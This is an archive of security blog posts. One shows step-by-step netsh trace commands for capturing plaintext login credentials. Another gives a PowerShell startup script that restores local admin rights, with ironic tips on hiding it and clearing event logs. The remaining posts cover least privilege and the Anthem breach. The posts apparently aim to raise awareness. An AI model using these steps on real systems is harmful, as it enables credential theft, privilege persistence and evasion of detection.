Tag Archives: administrative privileges

netsh – The Cyber Attacker’s Tool of Choice

3 February 2016

For IT pros the Windows built-in command netsh is one of the tools of choice for troubleshooting network issues.

For a cyber attacker netsh is the tool of choice once he managed to get access to the company network. ‘netsh trace’ may be used to record every key stroke a user sends e.g. to the login dialog of web application or a banking application in plain text.

Using netsh trace is disturbingly easy:

[1] Start the recording session for programs connecting to internet services

netsh trace start scenario=InternetClient capture=yes tracefile=NetTrace-ICP.etl level=4

[2] Wait for the user to connect to a service …

[3] Stop the recording session

netsh trace stop

[4] Convert the trace file into readable format

netsh trace convert input=NetTrace-ICP.etl output=NetTrace-ICP.etl.xml dump=XML

[5] Open the file with notepad and search for the user name donot.like@get.phished:

<EventData>
<Data Name="RequestHandle">0xCC000C</Data>
<Data Name="Length">502</Data>
<Data Name="Headers">loginfmt=donot.like%40get.phished&amp;passwd=-Plain-Text-Here-&amp;login=donot.like%40get.phished&amp;……</Data>
</EventData>

Thus netsh trace can replace key loggers or tools like Mimikatz or Lazagne. Since the attacker must not reload utilities from the C&C server the likelihood of detection decreases.

Fortunately the attacker must run netsh trace in administrative context, but since many users always work in admin context this is not a real hurdle.

Apart from cyber attacks users should be concerned about privacy issues. If a support technician starts netsh in a remote troubleshooting session the likelihood is high that he may see your password or PIN. To prevent trouble users should always change their passwords after netsh was used to solve network issues.

Take care!

Advertisements

Technical Account = Privileged Account = Member of the Administrators Group – It’s time to break this vicious circle

16 January 2015

I had some discussions in the past weeks about technical accounts in the administrators group. To be honest, I am a strong supporter of the ZERO administrators doctrine: Under normal conditions the administrators group of a computer has no members. If required, an account is added to the group and removed directly after the job is done. Strict implementation of a ZERO admin doctrine requires the implementation of a smart PAM solution to avoid undue delays in the case of trouble.

What really worries me is that technical accounts are always seen as privileged accounts. And that they are very often assigned to the administrators group for convenience, even though a system login is not required.

For example a technical account for querying a database needs no system privileges at all. Even a login to the application or database server is very often not required. In the best case the technical account only needs the privilege to open a database connection and to get access to a well-known set of database objects. Granting whatever system privileges to such accounts or assigning them to the administrators group enlarges only the attack surface of the system.

As always, the Principle of Least Privilege shows the direction. Grant privileges only if required, carefully evaluate if membership in the administrators group is necessary, and treat membership in the administrators group as an exception. To keep the attack surface small it’s wise to check the administrative groups for unnecessary technical accounts regularly.

Have a good weekend.

Anthem hacked – 80 Million data sets lost

11 February 2015

This was a really long winter break. The Sony hack is all water under the bridge now. The hackers have gone back to work, with a bang. 80 Million data sets lost. Anthem was hit particularly hard, and Anthem’s customers are hit by a wave of phishing emails.

The main question is always: How could it happen? And, what can be done to prevent such thefts in the future?

I found an interesting statement in a report published 2/4/2015 by Steve Ragan at CSO-Online:

“On January 27, 2015, an Anthem associate, a database administrator, discovered suspicious activity – a database query running using the associate’s logon information. He had not initiated the query and immediately stopped the query and alerted Anthem’s Information Security department. It was also discovered the logon information for additional database administrators had been compromised.”

This makes it clear: The attackers got access to at least the database login information of some database administrators. In addition, they had to steal some at least standard user credentials for access to company computers. This is required to start the database queries. The rest is easy!

Remind: Attackers can read in company networks like in an open book.

Once they got access to some computers, social engineering could be used to find information about the business critical databases. With an e.g. Oracle client and Microsoft Access as front end, they are able to read all data, even if the database is fully encrypted. In the case of an SQL-Server backend you do not even need a database client software installed because the ODBC driver is part of the Office installation.

The big problem is that any company workstation could be used to launch a query. Even if e.g. an Oracle client is not installed, an instant client, which could be installed by the user, is absolutely enough for access to the business critical data.

The attack surface is enormous. But it’s easy to shrink it. Most database providers offer whitelisting technologies to restrict access from computers to the database server. In the best case, only some application servers, backup systems and admin workstations must have access to the database. Include only this systems in the white list, and exclude all other computers in the black list. That’s it.

For Oracle, parameter TCP.INVITED_NODES specifies the white list, TCP.EXCLUDED_NODES the black list in the SQLNET.ora configuration file.

The only question remaining is: How could the attackers get access to the login credentials of the database admins and the standard users? Unfortunately I haven’t found any hints so far…

That’s it for today.

Fun with 24h Admin Rights

19 January 2015

Once you granted 24h admin rights to a user he is able to grant himself privileges with a just few clicks. Startup scripts give an easy means to do this.

About startup scripts.

With startup scripts Windows offers administrators a powerful tool to run commands at system boot. Scripts are stored in directory %windir%\System32\Group Policy\Machine\Scripts\Startup and executed with system privileges.

But just adding a script to the startup directory is not sufficient to execute the script. Because startup scripts could be easily used to compromise a system they have to be enabled through the Local Group Policy Editor gpedit.msc. And at least for enabling a startup script with gpedit.msc local admin privileges are required.

3 Steps for 24h admins to get admin privileges again.

  1. Create a PowerShell script for adding your user account to the local administrators group.
# addMalUser.ps1
$Domain = "YourDomain
$Computer = "YourComputer"
$Username = "YourUsername"

$Group = [ADSI]"WinNT://$Computer/Administrators,group"
$User = [ADSI]"WinNT://$Domain/$Username,user"
$Group.Add($User.Path)

Save this script to file addMalUser.ps1. To get the exact values for $Domain, $Computer and $User please run set in a command prompt.

  1. Copy script addMalUser.ps1 to %windir%\System32\GroupPolicy\Machine\Scripts\Startup.

  2. Start gpedit.msc and add script addMalUser.ps1 to the startup scripts.

GPEdit Add Startup Script

Gpedit Add Startup Script Dialog (click to enlarge)

Tips for would-be malicious users.

  1. Purple Loosestrife in my Garden. Feels like Summer.
    Purple Loosestrife in my Garden. Feels like Summer.

    Please note that this operation is recorded in the Security Event Log of your computer.
    Never mind! Only very few organizations are scanning security events on user workstations. Those which tolerate 24h admin rights are certainly not amongst them.

  2. Please feel free to add switches to this script to run it on demand only. This will help to hide your malicious activities, because you could remove yourself from the admin group or reset the Security Event Log after the job is done.

Have Fun with 24h Admin Rights!